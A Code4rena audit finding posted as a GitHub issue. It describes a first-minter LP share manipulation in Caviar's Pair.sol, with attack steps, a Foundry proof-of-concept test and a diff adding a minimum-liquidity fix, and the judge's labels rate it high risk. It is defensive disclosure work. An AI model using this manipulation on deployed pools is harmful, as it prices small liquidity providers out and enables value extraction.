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Pair.sol can be manipulated to affect small liquidity providers. #469

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code423n4 opened this issue Dec 19, 2022 · 3 comments
Closed

Pair.sol can be manipulated to affect small liquidity providers. #469

code423n4 opened this issue Dec 19, 2022 · 3 comments
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3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-442 satisfactory satisfies C4 submission criteria; eligible for awards upgraded by judge Original issue severity upgraded from QA/Gas by judge

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@code423n4
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Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L63-L99
https://github.com/code-423n4/2022-12-caviar/blob/0212f9dc3b6a418803dbfacda0e340e059b8aae2/src/Pair.sol#L417-L428

Vulnerability details

Impact

The first minter can manipulate the supply of LP tokens and baseToken-fractional ratio, hindering small liquidity providers from interacting with the pair.

A malicious actor can mint 1wei of LP token from a new pair, then proceed to transfer baseToken to the Pair contract, artificially increasing the baseToken reserves. Therefore 1 wei of LP token can be worth arbitrarily large amounts of baseToken and fractional token (depending on how much baseToken is deposited to the Pair)

Proof of Concept

On a empty pool with baseToken USD (generic USD stablecoin with 18 decimals), the attacker can do the following steps:

  1. Call add() with 1wei of USD and 1wei of fractional Token, minting 1wei of LP Token.
  2. Transfer 100$ worth of USD (10**20 of USD) to the pair contract.

Then the next user minting would have to add more than 100$ worth of USD to be able to mint 1wei of LP. The attacker can transfer arbitrarily large amounts of tokens to the contract, making infeasible for small liquidity providers to provide any liquidity.

contract MinimumManipulation is Fixture {
    function setUp() public {
        uint256 baseTokenAmount = 1e30;
        uint256 fractionalTokenAmount = 1e30;

        deal(address(usd), address(1), baseTokenAmount, true);
        deal(address(p), address(1), fractionalTokenAmount, true);

        deal(address(usd), address(2), baseTokenAmount, true);
        deal(address(p), address(2), fractionalTokenAmount, true);
    }

    function testManipulation() public {
        vm.startPrank(address(1));
        usd.approve(address(p), type(uint256).max);

        p.add(1, 1, 0);
        usd.transfer(address(p), 100*1e18);
        vm.stopPrank();

        vm.startPrank(address(2));
        usd.approve(address(p), type(uint256).max);
        uint256 lp = p.add(101*1e18, 1, 0);

        //User has to add more than 100$ to the pool to be able to mint 1 token
        assert(lp == 1);
    }
}

Recommended Mitigation Steps

Please consider minting a minimal amount of LP tokens during the first mint and sending them to zero address, this increases the cost of the attack. Uniswap V2 uses the value 1000 as it is small enough to don't hurt the first minter, while still increasing the cost of this attack by 1000x.

diff --git a/Pair.sol.orig b/Pair.sol
index 185d25c..a2e84f9 100644
--- a/Pair.sol.orig
+++ b/Pair.sol
@@ -1,51 +1,52 @@
 // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.17;

 import "solmate/tokens/ERC20.sol";
 import "solmate/tokens/ERC721.sol";
 import "solmate/utils/MerkleProofLib.sol";
 import "solmate/utils/SafeTransferLib.sol";
 import "openzeppelin/utils/math/Math.sol";

 import "./LpToken.sol";
 import "./Caviar.sol";

 /// @title Pair
 /// @author out.eth (@outdoteth)
 /// @notice A pair of an NFT and a base token that can be used to create and trade fractionalized NFTs.
 contract Pair is ERC20, ERC721TokenReceiver {
     using SafeTransferLib for address;
     using SafeTransferLib for ERC20;

     uint256 public constant ONE = 1e18;
     uint256 public constant CLOSE_GRACE_PERIOD = 7 days;
+    uint256 public constant MINIMUM_LIQUIDITY = 1000;

     address public immutable nft;
     address public immutable baseToken; // address(0) for ETH
     bytes32 public immutable merkleRoot;
     LpToken public immutable lpToken;
     Caviar public immutable caviar;
     uint256 public closeTimestamp;

     event Add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 lpTokenAmount);
     event Remove(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 lpTokenAmount);
     event Buy(uint256 inputAmount, uint256 outputAmount);
     event Sell(uint256 inputAmount, uint256 outputAmount);
     event Wrap(uint256[] tokenIds);
     event Unwrap(uint256[] tokenIds);
     event Close(uint256 closeTimestamp);
     event Withdraw(uint256 tokenId);

     constructor(
         address _nft,
         address _baseToken,
         bytes32 _merkleRoot,
         string memory pairSymbol,
         string memory nftName,
         string memory nftSymbol
     ) ERC20(string.concat(nftName, " fractional token"), string.concat("f", nftSymbol), 18) {
         nft = _nft;
         baseToken = _baseToken; // use address(0) for native ETH
         merkleRoot = _merkleRoot;
         lpToken = new LpToken(pairSymbol);
         caviar = Caviar(msg.sender);
@@ -60,60 +61,63 @@ contract Pair is ERC20, ERC721TokenReceiver {
     /// @param fractionalTokenAmount The amount of fractional tokens to add.
     /// @param minLpTokenAmount The minimum amount of LP tokens to mint.
     /// @return lpTokenAmount The amount of LP tokens minted.
     function add(uint256 baseTokenAmount, uint256 fractionalTokenAmount, uint256 minLpTokenAmount)
         public
         payable
         returns (uint256 lpTokenAmount)
     {
         // *** Checks *** //

         // check the token amount inputs are not zero
         require(baseTokenAmount > 0 && fractionalTokenAmount > 0, "Input token amount is zero");

         // check that correct eth input was sent - if the baseToken equals address(0) then native ETH is used
         require(baseToken == address(0) ? msg.value == baseTokenAmount : msg.value == 0, "Invalid ether input");

         // calculate the lp token shares to mint
         lpTokenAmount = addQuote(baseTokenAmount, fractionalTokenAmount);

         // check that the amount of lp tokens outputted is greater than the min amount
         require(lpTokenAmount >= minLpTokenAmount, "Slippage: lp token amount out");

         // *** Effects *** //

         // transfer fractional tokens in
         _transferFrom(msg.sender, address(this), fractionalTokenAmount);

         // *** Interactions *** //

         // mint lp tokens to sender
+        if (lpToken.totalSupply() == 0) {
+            lpToken.mint(address(0), MINIMUM_LIQUIDITY);
+        }
         lpToken.mint(msg.sender, lpTokenAmount);

         // transfer base tokens in if the base token is not ETH
         if (baseToken != address(0)) {
             // transfer base tokens in
             ERC20(baseToken).safeTransferFrom(msg.sender, address(this), baseTokenAmount);
         }

         emit Add(baseTokenAmount, fractionalTokenAmount, lpTokenAmount);
     }

     /// @notice Removes liquidity from the pair.
     /// @param lpTokenAmount The amount of LP tokens to burn.
     /// @param minBaseTokenOutputAmount The minimum amount of base tokens to receive.
     /// @param minFractionalTokenOutputAmount The minimum amount of fractional tokens to receive.
     /// @return baseTokenOutputAmount The amount of base tokens received.
     /// @return fractionalTokenOutputAmount The amount of fractional tokens received.
     function remove(uint256 lpTokenAmount, uint256 minBaseTokenOutputAmount, uint256 minFractionalTokenOutputAmount)
         public
         returns (uint256 baseTokenOutputAmount, uint256 fractionalTokenOutputAmount)
     {
         // *** Checks *** //

         // calculate the output amounts
         (baseTokenOutputAmount, fractionalTokenOutputAmount) = removeQuote(lpTokenAmount);

         // check that the base token output amount is greater than the min amount
         require(baseTokenOutputAmount >= minBaseTokenOutputAmount, "Slippage: base token amount out");

         // check that the fractional token output amount is greater than the min amount
@@ -396,61 +400,61 @@ contract Pair is ERC20, ERC721TokenReceiver {
     /// @param outputAmount The amount of fractional tokens to buy.
     /// @return inputAmount The amount of base tokens required.
     function buyQuote(uint256 outputAmount) public view returns (uint256) {
         return (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997);
     }

     /// @notice The amount of base tokens received for selling a given amount of fractional tokens.
     /// @dev Calculated using the xyk invariant and a 30bps fee.
     /// @param inputAmount The amount of fractional tokens to sell.
     /// @return outputAmount The amount of base tokens received.
     function sellQuote(uint256 inputAmount) public view returns (uint256) {
         uint256 inputAmountWithFee = inputAmount * 997;
         return (inputAmountWithFee * baseTokenReserves()) / ((fractionalTokenReserves() * 1000) + inputAmountWithFee);
     }

     /// @notice The amount of lp tokens received for adding a given amount of base tokens and fractional tokens.
     /// @dev Calculated as a share of existing deposits. If there are no existing deposits, then initializes to
     ///      sqrt(baseTokenAmount * fractionalTokenAmount).
     /// @param baseTokenAmount The amount of base tokens to add.
     /// @param fractionalTokenAmount The amount of fractional tokens to add.
     /// @return lpTokenAmount The amount of lp tokens received.
     function addQuote(uint256 baseTokenAmount, uint256 fractionalTokenAmount) public view returns (uint256) {
         uint256 lpTokenSupply = lpToken.totalSupply();
         if (lpTokenSupply > 0) {
             // calculate amount of lp tokens as a fraction of existing reserves
             uint256 baseTokenShare = (baseTokenAmount * lpTokenSupply) / baseTokenReserves();
             uint256 fractionalTokenShare = (fractionalTokenAmount * lpTokenSupply) / fractionalTokenReserves();
             return Math.min(baseTokenShare, fractionalTokenShare);
         } else {
             // if there is no liquidity then init
-            return Math.sqrt(baseTokenAmount * fractionalTokenAmount);
+            return Math.sqrt(baseTokenAmount * fractionalTokenAmount) - MINIMUM_LIQUIDITY;
         }
     }

     /// @notice The amount of base tokens and fractional tokens received for burning a given amount of lp tokens.
     /// @dev Calculated as a share of existing deposits.
     /// @param lpTokenAmount The amount of lp tokens to burn.
     /// @return baseTokenAmount The amount of base tokens received.
     /// @return fractionalTokenAmount The amount of fractional tokens received.
     function removeQuote(uint256 lpTokenAmount) public view returns (uint256, uint256) {
         uint256 lpTokenSupply = lpToken.totalSupply();
         uint256 baseTokenOutputAmount = (baseTokenReserves() * lpTokenAmount) / lpTokenSupply;
         uint256 fractionalTokenOutputAmount = (fractionalTokenReserves() * lpTokenAmount) / lpTokenSupply;

         return (baseTokenOutputAmount, fractionalTokenOutputAmount);
     }

     // ************************ //
     //      Internal utils      //
     // ************************ //

     function _transferFrom(address from, address to, uint256 amount) internal returns (bool) {
         balanceOf[from] -= amount;

         // Cannot overflow because the sum of all user
         // balances can't exceed the max uint256 value.
         unchecked {
             balanceOf[to] += amount;
         }

         emit Transfer(from, to, amount);
@code423n4 code423n4 added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working labels Dec 19, 2022
code423n4 added a commit that referenced this issue Dec 19, 2022
@c4-judge
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berndartmueller marked the issue as duplicate of #442

C4-Staff added a commit that referenced this issue Jan 6, 2023
@c4-judge c4-judge added 3 (High Risk) Assets can be stolen/lost/compromised directly upgraded by judge Original issue severity upgraded from QA/Gas by judge and removed 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value labels Jan 10, 2023
@c4-judge
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berndartmueller changed the severity to 3 (High Risk)

@c4-judge
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berndartmueller marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jan 10, 2023
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Labels
3 (High Risk) Assets can be stolen/lost/compromised directly bug Something isn't working duplicate-442 satisfactory satisfies C4 submission criteria; eligible for awards upgraded by judge Original issue severity upgraded from QA/Gas by judge
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